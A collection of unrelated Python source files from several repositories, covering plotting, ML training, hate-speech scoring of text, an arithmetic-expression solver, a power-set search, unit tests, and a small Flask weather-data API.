plt.plot(posx,posy,posz,lw=0.2,c='k')[0] ax.view_init(azim=44.5,elev=15.) ax.grid(True) ax.set_xlabel(r'$x-$Position',fontsize=12) ax.set_ylabel(r'$y-$Position',fontsize=12); ax.set_zlabel(r'$z-$Position',fontsize=12); # string01 = '$\max(\phi) = ' + str(np.amax(col07)) + '$' # string02 = '$\min(\phi) = ' + str(np.amin(col07)) + '$' # ax.text(2, 80.0, r"$\Pi_1 = \frac{p\,\rho\,c_0^2}{\mu}$", color="k", fontsize=18) # ax.text(2, 74.0, r"$\Pi_2 = \frac{p\,c_0}{h_0}$", color="k", fontsize=18) # ax.text(2, 68.0, r"$\mu = 1.3e-2, \, \rho=1005.0$", color="k", fontsize=18) # ax.text(2, 60.0, string01, color="k", fontsize=18) # ax.text(2, 55.0, string02, color="k", fontsize=18) plt.show() # ----------------------------------------------------------------- # Main function call if __name__ == "__main__": if (len(sys.argv)>1): main(sys.argv[1:]); else: print('Please provide input file to plot.') print('plotTrajectory.py -i <dataToPlotDile> -o <hardCopyFileName>'); # End of main function call # ----------------------------------------------------------------- ```
{ "source": "josephdviviano/omsignal", "score": 2 }
#### File: josephdviviano/omsignal/main.py ```python import datetime import logging import pickle import torch import os import experiments import utils import visualize PKG_PATH = os.path.dirname(os.path.abspath(__file__)) # Adds a simple logger. TSTAMP = datetime.datetime.now().strftime("%d%m%y_%Hh%M") LOGNAME = os.path.join(PKG_PATH, 'logs/train_{}.log'.format(TSTAMP)) logging.basicConfig(filename=LOGNAME, level=logging.INFO) LOGGER = logging.getLogger('train') def main(): # Run model. model, results = experiments.tspec() # Plot training curves. visualize.training(results) # Save model. torch.save(model, os.path.join(PKG_PATH, 'models/best_tspec_model_{}.pt'.format(TSTAMP))) # Save results. utils.write_results(results, os.path.join(PKG_PATH, 'models/best_tspec_results_{}.pkl'.format(TSTAMP))) # Visualizations using non-shuffled data. train_data = utils.Data(train=True, augmentation=True) valid_data = utils.Data(train=False, augmentation=False) visualize.spectra(train_data, log=False, name='spectra_train') visualize.spectra(valid_data, log=False, name='spectra_valid') visualize.timeseries(train_data, name='timeseries_train') visualize.timeseries(valid_data, name='timeseries_valid') visualize.pca(train_data) visualize.tsne(train_data) if __name__ == "__main__": main() ```
{ "source": "josephdviviano/whatsinthebox", "score": 2 }
#### File: witb/utils/models.py ```python from hatesonar import Sonar from transformers import AutoTokenizer, AutoModelForSequenceClassification import numpy as np import pandas as pd import torch import torch.multiprocessing import time from torch.utils.data import TensorDataset, DataLoader, RandomSampler, SequentialSampler import os import multiprocessing torch.multiprocessing.set_sharing_strategy('file_system') #from cc_net import dedup, execution, jsonql, minify, perplexity, process_wet_file, text_normalizer from witb.utils.textutils import normalize_line import kenlm # type: ignore import sentencepiece # type: ignore from copy import copy #class PerplexityRunner(): # def __init__(): class SonarRunner(): def __init__(self, threshold=20): self._model = Sonar() self.labels = { 'neither': 0, 'offensive_language': 1, 'hate_speech': 2} self.threshold = threshold def query(self, doc): """Runs all sentences across cores.""" labels = np.zeros(len(self.labels)) # Per sentence counts of labels. scores = np.zeros(len(self.labels)) # Mean score per label. # Remove short sentences. sentences = [s for s in doc.sentences if len(s) > self.threshold] n = len(sentences) if n == 0: return np.concatenate([labels, scores]) for sentence in sentences: result = self._model.ping(text=sentence) labels[self.labels[result['top_class']]] += 1 # Top class count. if result['top_class'] == 'hate_speech': print("SONAR ", sentence) # Gets the numeric score for each class per sentence. for r in result['classes']: scores[self.labels[r['class_name']]] += r['confidence'] scores /= n # Take the mean. return np.concatenate([labels, scores]) class DeLimitRunner(): def __init__(self, threshold=20, max_sentences=30): self._model = AutoModelForSequenceClassification.from_pretrained( "Hate-speech-CNERG/dehatebert-mono-english") self.labels = { 'hate_speech': 0, 'normal': 1} self._tokenizer = AutoTokenizer.from_pretrained( "Hate-speech-CNERG/dehatebert-mono-english") self.threshold = threshold self.max_sentences = int(max_sentences) self._n_cpu = multiprocessing.cpu_count() if torch.cuda.is_available(): self._device = torch.device("cuda") else: self._device = torch.device('cpu') self._model.to(self._device) self._softmax = torch.nn.Softmax(dim=1) def query(self, doc): """Runs all sentences across cores.""" os.environ['TOKENIZERS_PARALLELISM'] = 'false' labels = np.zeros(len(self.labels)) # Per sentence counts of labels. scores = np.zeros(len(self.labels)) # Mean score per label. # Preprocess sentences (filter, add delimiters, tokenize). # Sentences must be > 20 characters. sentences = [s for s in doc.sentences if len(s) > self.threshold] # Do the first n sentences only so we cap runtime. if len(sentences) > self.max_sentences: sentences = sentences[:self.max_sentences] raw_sentences = copy(sentences) sentences = ["[CLS] " + s + " [SEP]" for s in sentences] sentencetexts=[s for s in sentences] sentences = [self._tokenizer.tokenize( s, padding='max_length', truncation=True) for s in sentences] sentences = [ self._tokenizer.convert_tokens_to_ids(s) for s in sentences] n = len(sentences) # Create attention masks (check if this works correctly) attention_masks = [] for sentence in sentences: attention_masks.append([float(s > 0) for s in sentence]) if n == 0: return np.concatenate([labels, scores]) dataset = TensorDataset(torch.LongTensor(sentences), torch.LongTensor(attention_masks)) sampler = SequentialSampler(dataset) dataloader = DataLoader(dataset, sampler=sampler, batch_size=self.max_sentences, num_workers=1) for i, batch in enumerate(dataloader): sentence, mask = batch sentence = sentence.to(self._device) mask = mask.to(self._device) with torch.no_grad(): logits = self._model( sentence, token_type_ids=None, attention_mask=mask)[0] softmax = self._softmax(logits).detach().cpu().numpy() # Count sentences with each label. idx = np.argmax(softmax, axis=1) _labels = np.zeros(softmax.shape) _labels[np.arange(_labels.shape[0]), idx] = 1 labels += _labels.sum(0) # Get the hateful/nice sentences: batch_size = sentence.shape[0] batch_idx = np.arange(batch_size*i, batch_size*(i+1)) hate_idx = batch_idx[np.where(idx == 1)[0]] nice_idx = batch_idx[np.where(idx == 0)[0]] if len(hate_idx) > 0: print("DELIMIT HATE:", np.array(raw_sentences)[hate_idx]) #print("DELIMIT NICE:", np.array(raw_sentences)[nice_idx]) #print('\n') scores += softmax.sum(0) # Sum scores over batch dimension. scores /= n # Take the mean. return np.concatenate([labels, scores]) class PerplexRunner(): def __init__(self, threshold=20): #TODO: generalize these paths. self.sp_model = sentencepiece.SentencePieceProcessor( '/home/mila/l/lucciona/cc_net/data/lm_sp/en.sp.model') self._model= kenlm.Model( '/home/mila/l/lucciona/cc_net/data/lm_sp/en.arpa.bin') self.threshold = threshold def pp(log_score, length): return def query(self, doc): """Runs all sentences across cores.""" # Remove short sentences. sentences = [s for s in doc.sentences if len(s) > self.threshold] n = len(sentences) score= 0.000 if n == 0: return -np.inf # Worst possible perplexity. log_score, doc_length = 0, 0 for sentence in sentences: sentence = normalize_line(sentence) sentence = self.sp_model .encode_as_pieces(sentence) log_score += self._model.score(" ".join(sentence)) doc_length += len(sentence) + 1 #score = (10.0 ** (-log_score / doc_length)) score = round(10.0 ** (-log_score/doc_length), 1) return score ```
{ "source": "josephedradan/algorithms", "score": 4 }
#### File: algorithms/mathematics/find_all_possible_arithmetic_expressions_and_solve.py ```python from __future__ import annotations import traceback from collections import defaultdict from itertools import permutations, combinations_with_replacement, chain from numbers import Real from typing import Union, Set, Dict class ArithmeticExpression: """ Arithmetic Expression that returns a value """ def __init__(self, operand_lhs: Union[Real, ArithmeticExpression], operand_rhs: Union[Real, ArithmeticExpression], operator: str): # Operands self.operand_lhs = operand_lhs self.operand_rhs = operand_rhs # Operators self.operator = operator def __add__(self, other: Union[Real, ArithmeticExpression]) -> ArithmeticExpression: return ArithmeticExpression(self, other, "+") def __sub__(self, other: Union[Real, ArithmeticExpression]) -> ArithmeticExpression: return ArithmeticExpression(self, other, "-") def __mul__(self, other: Union[Real, ArithmeticExpression]) -> ArithmeticExpression: return ArithmeticExpression(self, other, "*") def __truediv__(self, other: Union[Real, ArithmeticExpression]) -> ArithmeticExpression: return ArithmeticExpression(self, other, "/") def __floordiv__(self, other: Union[Real, ArithmeticExpression]) -> ArithmeticExpression: return ArithmeticExpression(self, other, "//") def __pow__(self, power: Union[Real, ArithmeticExpression], modulo=None) -> ArithmeticExpression: return ArithmeticExpression(self, power, "**") def __mod__(self, other: Union[Real, ArithmeticExpression]) -> ArithmeticExpression: return ArithmeticExpression(self, other, "%") def __str__(self) -> str: return "({}{}{})".format(self.operand_lhs, self.operator, self.operand_rhs) def __repr__(self) -> str: return self.__str__() def __hash__(self) -> str: return hash(self.__str__()) def get_result(self) -> Union[Real, ArithmeticExpression]: """ Returns the result of the Arithmetic Expression :return: a number """ if isinstance(self.operand_lhs, ArithmeticExpression): lhs: Union[Real, ArithmeticExpression] = self.operand_lhs.get_result() else: lhs: Real = self.operand_lhs if isinstance(self.operand_rhs, ArithmeticExpression): rhs: Union[Real, ArithmeticExpression] = self.operand_rhs.get_result() else: rhs: Real = self.operand_rhs return simplify_expression(lhs, rhs, self.operator) def __copy__(self) -> Union[Real, ArithmeticExpression]: """ Returns a copy of the current expression. Not used :return: ArithmeticExpression object """ if isinstance(self.operand_lhs, ArithmeticExpression): lhs: Union[Real, ArithmeticExpression] = self.operand_lhs.__copy__() else: lhs = self.operand_lhs if isinstance(self.operand_rhs, ArithmeticExpression): rhs: Union[Real, ArithmeticExpression] = self.operand_rhs.__copy__() else: rhs = self.operand_rhs return ArithmeticExpression(lhs, rhs, self.operator) def get_list_permutation(list_given: list) -> list: """ Return a list permutations of from list_given :param list_given: a list given :return: list of permutations """ return list(permutations(list_given)) def get_list_combination_with_replacement(list_given: Union[list, set], size) -> list: """ Return a list combinations with replacement from list_given :param list_given: a list given :return: list of combinations with replacement """ return list(combinations_with_replacement(list_given, size)) def get_list_list_item_mathematical_permutate_operators(list_permutation_operands, list_permutation_operators): """ For every list that is a permutation of operands, interweave every list that is a permutation of operators within it. Example: [1, 2, 3, 4] [+, -, *] [+, *, -] [-, +, *] [-, *, +] [*, +, -] [*, -, +] [1, 3, 2, 4] [+, -, *] [+, *, -] ... etc... Result: [1, +, 2, -, 3, *, 4] [1, +, 2, *, 3, -, 4] ... [1, *, 2, -, 3, +, 4] [1, +, 3, -, 2, *, 4] [1, +, 3, *, 2, -, 4] ... [1, *, 3, -, 2, +, 4] etc... :param list_permutation_operands: list containing a list of operands :param list_permutation_operators: list containing a list of operators :return: List containing list of alternating operands and operators """ # List containing lists where the inner lists contain mathematical items (operands and operators) list_list_item_mathematical = [] # Loop through list_permutation_operands for permutation_operands in list_permutation_operands: # print(permutation_operands) # Loop through list_permutation_operators for permutation_operators in list_permutation_operators: # print("\t", permutation_operators) # Make a list containing mathematical items list_item_mathematical = [] # Loop through permutation_operands getting the operands and its indices for index, operand in enumerate(permutation_operands): # Add operand to list_item_mathematical list_item_mathematical.append(operand) # If the index of the operand is the last one if index == len(permutation_operands) - 1: # print("\t\t", list_item_mathematical) # Add a copy of list_item_mathematical into list_list_item_mathematical list_list_item_mathematical.append(list_item_mathematical.copy()) break # Add operator to list_item_mathematical list_item_mathematical.append(permutation_operators[index]) # Return list of list of item mathematical return list_list_item_mathematical def simplify_list_item_mathematical(list_item_mathematical: list) -> Real: """ Apply mathematical operations on the operands and reduce to 1 value Not Used :param list_item_mathematical: list of mathematical items :return: value """ # Current value value = None # Current Operator operator_current = None # If operator is used already operator_used = None # Loop through every item in list_item_mathematical for item in list_item_mathematical: # Check if item is a string which should be an operator if isinstance(item, str): operator_current = item operator_used = False # If not a string then it's a number else: # If value is None initially if value is None: value = item # Do math of with the operand and the operator if the current operator is not used if operator_used is False: value = simplify_expression(value, item, operator_current) operator_used = True # Return value return value def dfs_permutations_expression_arithmetic_priority(list_item_mathematical: list, list_arithmetic_expression: list = None): """ Given a list of mathematical items, find all permutations of the order in which each arithmetic expression, a combination of 2 operands and 1 operator, will be evaluated first. Each arithmetic expression is created via dfs method. Notes: list_item_mathematical MUST NOT BE A GENERATOR Example: 1 + 2 * 3 Result: ((1 + 2) * 3) (1 + (2 * 3)) # Doctest function call >>> dfs_permutations_expression_arithmetic_priority([1, "+", 2, "*", 3]) [((1+2)*3), (1+(2*3))] :param list_item_mathematical: list of mathematical items :param list_arithmetic_expression: list of arithmetic expresssions :return: """ # Reset variables for reuse of the function if list_arithmetic_expression is None: list_arithmetic_expression = [] # Loop through mathematical items in list_item_mathematical for index, item in enumerate(list_item_mathematical): # If item is a string then it's probably an operator if isinstance(item, str): # Assume item is an operator operator = item # lhs and rhs operands lhs = list_item_mathematical[index - 1] rhs = list_item_mathematical[index + 1] # Create a list similar to list_item_mathematical but also hosts a new object called ArithmeticExpression list_list_item_mathematical_with_expression_arithmetic = [] # Loop through mathematical items in list_item_mathematical again for index_2, item_2 in enumerate(list_item_mathematical): # If index_2 is in [index - 1, index, index + 1] if index_2 in [index - 1, index, index + 1]: # If index_2 and index match if index_2 == index: """ Create and add the ArithmeticExpression to list_list_item_mathematical_with_expression_arithmetic """ list_list_item_mathematical_with_expression_arithmetic.append( ArithmeticExpression(lhs, rhs, operator)) # *Continue only when we pass the three indices where the middle index == index_2 continue """ *Add the mathematical item to list_list_item_mathematical_with_expression_arithmetic assuming that we have have passed or not have not reached the 3 mathematical items that will turn into a mathematical item. """ list_list_item_mathematical_with_expression_arithmetic.append(item_2) # If the size of list_list_item_mathematical_with_expression_arithmetic is 1 if len(list_list_item_mathematical_with_expression_arithmetic) == 1: # print((list_list_item_mathematical_with_expression_arithmetic[0])) """ Add the first object in list_list_item_mathematical_with_expression_arithmetic to list_arithmetic_expression This means that the item is just 1 Arithmetic Expression object """ list_arithmetic_expression.append(list_list_item_mathematical_with_expression_arithmetic[0]) # Recursive Call ONLY when there is not 1 item in the list_list_item_mathematical_with_expression_arithmetic else: dfs_permutations_expression_arithmetic_priority(list_list_item_mathematical_with_expression_arithmetic, list_arithmetic_expression) return list_arithmetic_expression def simplify_expression(operand_lhs: Real, operand_rhs: Real, operator: str) -> Real: """ Given lhs operand, rhs operand, and operator, simplify the expression or solve WARNING: Don't use the dict way because it has to check the operands immediately regardless of key being called or not :param operand_lhs: lhs operand :param operand_rhs: rhs operand :param operator: operator :return: result of the expression """ # key = {"+": operand_lhs + operand_rhs, # "-": operand_lhs - operand_rhs, # "*": operand_lhs * operand_rhs, # "/": operand_lhs / operand_rhs # } # return key.get(operator) # Result is currently None result = None # Get the result of the operation try: if operator == "+": result = operand_lhs + operand_rhs elif operator == "-": result = operand_lhs - operand_rhs elif operator == "*": result = operand_lhs * operand_rhs elif operator == "/": result = operand_lhs / operand_rhs elif operator == "//": result = operand_lhs // operand_rhs elif operator == "**": result = operand_lhs ** operand_rhs elif operator == "%": result = operand_lhs % operand_rhs except ZeroDivisionError as e: # print("Cannot do {} / {} ".format(operand_lhs, operand_rhs)) pass except OverflowError as e: # print("Result it too big!") pass except TypeError as e: # print("Mathematical operation can be be done with operands {} and {}".format(operand_lhs, operand_rhs)) pass except Exception as e: print(e) print(traceback.print_exc()) # Return the result return result def get_dict_key_result_value_set_arithmetic_expression( list_operands, list_operators, treat_list_operators_as_allowed_to_use=False) -> Dict[Real, Set[ArithmeticExpression]]: """ Given a list of operands and a list of operators, find all possible permutations of these mathematical items, then solve. :param list_operands: list of operands :param list_operators: list of operators :param treat_list_operators_as_allowed_to_use: Treat list of operators as operators that the algorithm is allowed to use rather than what the algorithm should use once (Not at least once). :return: dictionary of result of the expression and the expression """ """ List of list of operands as permutations Notes: Alternatively, permutations can be called instead of get_list_permutation which should be less memory intensive optimal. """ permutations_operands = permutations(list_operands) # List of list of operators as combinations with replacement if treat_list_operators_as_allowed_to_use: """ Get every combination with replacement of operators within list_operators Notes: Alternatively, combinations_with_replacement can be called here instead because the set function below this variable will make this not exhaustible. """ list_list_operators_every_combination = combinations_with_replacement(set(list_operators), len(list_operands) - 1) """ *** Get every permutation of of every combination from list_list_operators_every_combination into 1 chain object of type iterable, then remove duplicate permutations by putting them into a set. """ list_list_operators = set(chain(*[permutations(i) for i in list_list_operators_every_combination])) # print(set(list_list_operators)) # List of list of operators as permutations else: # list_list_operators needs to be not exhaustible because it will be reused over again list_list_operators = get_list_permutation(list_operators) # Get list of list of mathematical items list_list_item_mathematical = get_list_list_item_mathematical_permutate_operators(permutations_operands, list_list_operators) # Default dict of Key result of expression amd Value set that contains Arithmetic Expression dict_result_arithmetic_expression = defaultdict(set) # For list of mathematical items for list_item_mathematical in list_list_item_mathematical: # Get a list Arithmetic Expressions which are objects represent a list_item_mathematical list_arithmetic_expression = dfs_permutations_expression_arithmetic_priority(list_item_mathematical) # For every Arithmetic Expression for arithmetic_expression in list_arithmetic_expression: # print(f"Arithmetic Expression: {arithmetic_expression}") # print(f"Arithmetic Expression Result: {arithmetic_expression.get_return()}") # Add result of Arithmetic Expression as a Key and the Arithmetic Expression its set dict_result_arithmetic_expression[arithmetic_expression.get_result()].add(arithmetic_expression) # Return dict_result_arithmetic_expression return dict_result_arithmetic_expression def solve_problem(target=24): """ Solve the problem posed in the video "Can you solve this puzzle. Make 24 from 6 4 3 and 1." (https://www.youtube.com/watch?v=Jnf18uqZRyw) :param target: Value to reach :return: None """ operands = [6, 4, 3, 1] operators = ["+", "-", "*", "/"] dict_results = get_dict_key_result_value_set_arithmetic_expression(operands, operators, treat_list_operators_as_allowed_to_use=True) set_solution = dict_results.get(target, None) print(f"Target is {target}") if set_solution is None: print("Target could not be found!") print("Solution does not exist") else: print("Possible solutions are:") for expression in set_solution: print("\t{} = {}".format(expression, expression.get_result())) print("\n" + 100 * "-" + "\n") print("All Permutations of Operands, Operators, and Order of Operations:") for key, value in dict_results.items(): print(key) for expression in value: print("\t{}".format(expression)) print() def test_example(): """ Possibly show all Arithmetic Expressions and their corresponding result :return: None """ operands = [6, 4, 3, 1] operators = ["+", "-", "*", "/", "**", "//", "%"] dict_results = get_dict_key_result_value_set_arithmetic_expression(operands, operators, treat_list_operators_as_allowed_to_use=True) total_expressions = 0 for key, value in dict_results.items(): print(key) for expression in value: total_expressions += 1 print("\t{}".format(expression)) print() print(f"Total solutions: {len(dict_results)}") print(f"Total expressions: {total_expressions}") if __name__ == '__main__': solve_problem() print("\n" + 100 * "-" + "\n") test_example() ``` #### File: search/depth_first_search/depth_first_search_power_set.py ```python from typing import Set, FrozenSet, List # from joseph_resources.decorators._old.callable_called_count import print_callable_called_count, callable_called_count # from joseph_resources.decorators.timer import timer # @timer def get_power_set(list_given: list) -> List[set]: """ Given a list, find the power set of it which is basically all the combinations for all sizes from 0 to length of list_given :param list_given: list given :return: list of a list of solutions """ # Set containing frozensets which are solutions set_frozenset_shared_solutions = set() # type: Set[FrozenSet] # A Temp list that can potentially be a solution list_temp_shared_generic_solution = [] # type: list # Recursive DFS call _get_power_set_helper(list_temp_shared_generic_solution, list_given, set_frozenset_shared_solutions) # Convert frozen set with a tuple list_sets = [set(i) for i in set_frozenset_shared_solutions] # Add the empty set list_sets.append(set()) # Sort the list list_sets.sort() return list_sets # @callable_called_count def _get_power_set_helper(list_temp_shared_generic_solution: list, list_remaining_items: list, set_frozenset_shared_solutions: set) -> None: """ Recursive DFS to get all permutations of a List, but making them unique via frozenset which is a combination Notes: The amount of iterations should be - 1 because empty set is not involved Total iterations (Permutation formula): Less than (Due to not Recursive calling for an empty list_remaining_items) Summation from r = 0 to n of (n!)/((n-r)!) where r = sample size == len(list_remaining_items) n = number of objects == len(list_remaining_items) (n!)/((n-r)!) = permutation formula Power Set iterations: Greater than Summation from r = 0 to n of (n!)/(r!(n-r)!) == 2^(len(list_remaining_items)) where r = sample size == len(list_remaining_items) n = number of objects == len(list_remaining_items) (n!)/(r!(n-r)!) = combination formula :param list_temp_shared_generic_solution: Temporary List of the current permutation (temp List is shared) :param list_remaining_items: List of remaining items that need to be added to list_temp_shared_generic_solution :param set_frozenset_shared_solutions: Set of a frozensets that are to solutions :return: None """ # Loop through the length of list_remaining_items for i in range(len(list_remaining_items)): # Add the indexed item into the temp List list_temp_shared_generic_solution.append(list_remaining_items[i]) # Create a copy of list_remaining_items list_remaining_items_new = list_remaining_items.copy() # Pop off the item with the index number list_remaining_items_new.pop(i) # Add a frozenset (immutable) which is hashable in a set (mutable) set_frozenset_shared_solutions.add(frozenset(list_temp_shared_generic_solution)) # Don't recursive call if list_remaining_items_new is empty because you loop for no reason with a range(0) if list_remaining_items_new: # Recursive call into this function _get_power_set_helper(list_temp_shared_generic_solution, list_remaining_items_new, set_frozenset_shared_solutions) # Pop from list_temp_permutation for a new permutation list_temp_shared_generic_solution.pop() def test_example(): solution = get_power_set([1, 2, 3, 4, 5]) for i in solution: print(i) print(len(solution)) # print_callable_called_count() """ Callable: get_power_set Callable ran in 0.001001119613647461 Sec set() {1, 3, 5} {1, 4} {2} {3} {2, 3} {4} {3, 4} {2, 4} {2, 3, 4} {4, 5} {1} {5} {3, 5} {2, 3, 5} {3, 4, 5} {1, 3} {1, 2, 3} {1, 3, 4} {1, 5} {1, 4, 5} {1, 2} {2, 5} {2, 4, 5} {1, 2, 4, 5} {2, 3, 4, 5} {1, 2, 5} {1, 2, 4} {1, 2, 3, 4} {1, 3, 4, 5} {1, 2, 3, 5} {1, 2, 3, 4, 5} 32 Callable: _get_power_set_helper Callable Call Count: 206 """ if __name__ == '__main__': test_example() ```
{ "source": "josephedwardchang/digitalbuildings", "score": 2 }
#### File: tests/dimensions/dimension_test.py ```python from absl.testing import absltest from validate import handler as validator from validate.generate_universe import BuildUniverse from validate.entity_instance import EntityInstance from score.dimensions.dimension import Dimension import copy def canonical_entity() -> EntityInstance: entity = list( validator.Deserialize(['tests/samples/canonical_entity.yaml' ])[0].values())[0] # Append the type to be checked by is_entity_canonical() entity.type = BuildUniverse(use_simplified_universe=True).GetEntityType( entity.namespace, entity.type_name) return entity def noncanonical_entity() -> EntityInstance: entity = list( validator.Deserialize(['tests/samples/noncanonical_entity.yaml' ])[0].values())[0] # Append the type to be checked by is_entity_canonical() entity.type = BuildUniverse(use_simplified_universe=True).GetEntityType( entity.namespace, entity.type_name) return entity class DimensionTest(absltest.TestCase): def setUp(self): super().setUp() self.dimension = Dimension(translations='translations') self.dimension.correct_virtual = 1 self.dimension.correct_reporting = 1 self.dimension.correct_ceiling_virtual = 2 self.dimension.correct_ceiling_reporting = 2 self.dimension.incorrect_virtual = 1 self.dimension.incorrect_reporting = 1 self.dimension_none = Dimension(deserialized_files='deserialized files') self.dimension_none.correct_virtual = 0 self.dimension_none.correct_reporting = 0 self.dimension_none.correct_ceiling_virtual = 0 self.dimension_none.correct_ceiling_reporting = 0 self.dimension_none.incorrect_virtual = 0 self.dimension_none.incorrect_reporting = 0 self.dimension_override = copy.copy(self.dimension) self.entities = { 'canonical_type_appended': canonical_entity(), 'noncanonical_type_appended': noncanonical_entity(), 'reporting': list( validator.Deserialize(['tests/samples/reporting_entity.yaml' ])[0].values())[0], 'virtual': list( validator.Deserialize(['tests/samples/virtual_entity.yaml' ])[0].values())[0], } def testArgumentAttributes(self): self.assertEqual(self.dimension.translations, 'translations') self.assertEqual(self.dimension.deserialized_files, None) self.assertEqual(self.dimension_none.translations, None) self.assertEqual(self.dimension_none.deserialized_files, 'deserialized files') def testCategoryAttribute_None(self): self.assertEqual(Dimension.category, None) self.assertEqual(self.dimension.category, None) def testArgumentExclusivity(self): with self.assertRaises(Exception) as not_enough: Dimension() self.assertEqual( not_enough.exception.args[0], '`translations` xor `deserialized_files` argument is required') with self.assertRaises(Exception) as too_many: Dimension(translations='translations', deserialized_files='deserialized files') self.assertEqual( too_many.exception.args[0], '`translations` or `deserialized_files` argument must be exclusive') def testCorrectTotal(self): self.assertEqual(self.dimension.correct_total(), 2) self.assertEqual(self.dimension_none.correct_total(), 0) self.assertEqual(self.dimension.correct_total_override, None) self.dimension.correct_total_override = 4 self.assertEqual(self.dimension.correct_total_override, 4) def testCorrectCeiling(self): self.assertEqual(self.dimension.correct_ceiling(), 4) self.assertEqual(self.dimension_none.correct_total(), 0) self.assertEqual(self.dimension_override.correct_ceiling_override, None) self.dimension_override.correct_ceiling_override = 8 self.assertEqual(self.dimension_override.correct_ceiling_override, 8) def testIncorrectTotal(self): self.assertEqual(self.dimension.incorrect_total(), 2) self.assertEqual(self.dimension_none.correct_total(), 0) self.assertEqual(self.dimension_override.incorrect_total_override, None) self.dimension_override.incorrect_total_override = 4 self.assertEqual(self.dimension_override.incorrect_total_override, 4) def testResultComposite(self): self.assertEqual(self.dimension.result_all, 0.0) self.assertEqual(self.dimension_none.result_all, None) self.assertEqual(self.dimension_override.result_all, 0.0) def testResultVirtual(self): self.assertEqual(self.dimension.result_virtual, 0.0) self.assertEqual(self.dimension_none.result_virtual, None) def testResultReporting(self): self.assertEqual(self.dimension.result_reporting, 0.0) self.assertEqual(self.dimension_none.result_reporting, None) def testEntityIsCanonical(self): self.assertTrue( Dimension.is_entity_canonical(self.entities['canonical_type_appended'])) self.assertFalse( Dimension.is_entity_canonical( self.entities['noncanonical_type_appended'])) # This entity has had a type of `None` appended, thus it returns false. reporting_type_none = copy.copy(self.entities['reporting']) reporting_type_none.type = None self.assertFalse(Dimension.is_entity_canonical(reporting_type_none)) def testEntityIsReporting(self): self.assertTrue(Dimension.is_entity_reporting(self.entities['reporting'])) self.assertFalse(Dimension.is_entity_reporting(self.entities['virtual'])) def testEntityIsVirtual(self): self.assertTrue(Dimension.is_entity_virtual(self.entities['virtual'])) self.assertFalse(Dimension.is_entity_virtual(self.entities['reporting'])) def testStr(self): self.assertEqual( str(self.dimension), '{result_all: 0.00, result_virtual: 0.00, result_reporting: 0.00}') if __name__ == '__main__': absltest.main() ```
{ "source": "josephedward/surf_sqlalchemy_flask", "score": 3 }
#### File: josephedward/surf_sqlalchemy_flask/app.py ```python import numpy as np import pandas as pd import sqlalchemy from sqlalchemy.ext.automap import automap_base from sqlalchemy.orm import Session from sqlalchemy import create_engine, func from flask import Flask, jsonify engine = create_engine("sqlite:///Resources/hawaii.sqlite") Base = automap_base() Base.prepare(engine, reflect=True) m_table_ref = Base.classes.measurement s_table_ref = Base.classes.station app = Flask(__name__) @app.route("/") def home(): print("List all available api routes") return (f"Available Routes:<br/><br/>" # f"Precipitation Data for Aug 2016 - Aug 2017: <br/>" f'All Precipitation Data: <br/><br/>' f"/precipitation_2016_2017<br/><br/>" f"List of Stations: <br/><br/>" f"/station_list<br/><br/>" f"List of Temperatures at Waihee for Aug 2016 - Aug 2017: <br/><br/>" f"/temperatures_waihee<br/><br/>" f"Min, Max, and Avg Temperatures from date yyyy-mm-dd:<br/><br/>" f"/temp_dates/'your_date'<br/><br/>" f"Min, Max, and Avg Temperatures from start to end date: yyyy-mm-dd/yyyy-mm-dd<br/><br/>" f"/temp_dates/'start_date'/'end_date'<br/><br/>" ) @app.route("/precipitation_2016_2017") def precipitation(): session = Session(engine) last_yr_prcp_df = pd.DataFrame(session.query(m_table_ref.date, m_table_ref.prcp).\ # filter(m_table_ref.date <= '2017-08-23').\ # filter(m_table_ref.date > '2016-08-23').\ order_by(m_table_ref.date).all()) return last_yr_prcp_df.to_json() @app.route("/station_list") def stations(): session = Session(engine) station_list_df = pd.DataFrame(session.query(s_table_ref.station,s_table_ref.name ).\ group_by(s_table_ref.station).\ order_by(s_table_ref.station).all()) station_list = list(station_list_df['name']) return jsonify(station_list) @app.route("/temperatures_waihee") def temperatures(): session = Session(engine) waihee_temp_df = pd.DataFrame(session.query(m_table_ref.date, m_table_ref.tobs).\ filter(m_table_ref.station == 'USC00519281').\ filter(m_table_ref.date >= '2017-01-01').\ filter(m_table_ref.date <= '2017-12-31').\ group_by(m_table_ref.date).all()) return waihee_temp_df.to_json() @app.route("/temp_dates/<your_date>") def start_date(your_date): session = Session(engine) temp_df = pd.DataFrame(session.query(m_table_ref.date, m_table_ref.tobs).\ filter(m_table_ref.date >= your_date).all()) temp_funcs_df=pd.DataFrame({'Min: ':temp_df['tobs'].min(), 'Max: ':temp_df['tobs'].max(), 'Avg: ':temp_df['tobs'].mean()}, index=["Temp: "]) return temp_funcs_df.to_json() @app.route("/temp_dates/<start_date>/<end_date>") def start_end_date(start_date, end_date): session = Session(engine) temp_df = pd.DataFrame(session.query(m_table_ref.date, m_table_ref.tobs).\ filter(m_table_ref.date >= start_date).\ filter(m_table_ref.date <= end_date).all()) temp_funcs_df=pd.DataFrame({'Min: ':temp_df['tobs'].min(), 'Max: ':temp_df['tobs'].max(), 'Avg: ':temp_df['tobs'].mean()}, index=["Temp: "]) return temp_funcs_df.to_json() if __name__ == '__main__': app.run(debug=True) ```
{ "source": "josephevans/WeVoteServer", "score": 2 }
#### File: apis_v1/documentation_source/ballot_items_sync_out_doc.py ```python def ballot_items_sync_out_doc_template_values(url_root): """ Show documentation about ballotItemsSyncOut """ required_query_parameter_list = [ { 'name': 'format', 'value': 'string', # boolean, integer, long, string 'description': 'Currently must be \'json\' to work.', }, ] optional_query_parameter_list = [ { 'name': 'google_civic_election_id', 'value': 'integer', # boolean, integer, long, string 'description': 'Limit the ballot_items retrieved to those for this google_civic_election_id.', }, ] potential_status_codes_list = [ ] try_now_link_variables_dict = { 'format': 'json', } api_response = '[{\n' \ ' "we_vote_id": string,\n' \ ' "ballot_item_display_name": string,\n' \ ' "contest_office_we_vote_id": string,\n' \ ' "contest_measure_we_vote_id": string,\n' \ ' "google_ballot_placement": string,\n' \ ' "google_civic_election_id": string,\n' \ ' "local_ballot_order": string,\n' \ ' "measure_subtitle": string,\n' \ ' "polling_location_we_vote_id": string,\n' \ '}]' template_values = { 'api_name': 'ballotItemsSyncOut', 'api_slug': 'ballotItemsSyncOut/?format=json', 'api_introduction': "", 'try_now_link': 'apis_v1:ballotItemsSyncOutView', 'try_now_link_variables_dict': try_now_link_variables_dict, 'url_root': url_root, 'get_or_post': 'GET', 'required_query_parameter_list': required_query_parameter_list, 'optional_query_parameter_list': optional_query_parameter_list, 'api_response': api_response, 'api_response_notes': "", 'potential_status_codes_list': 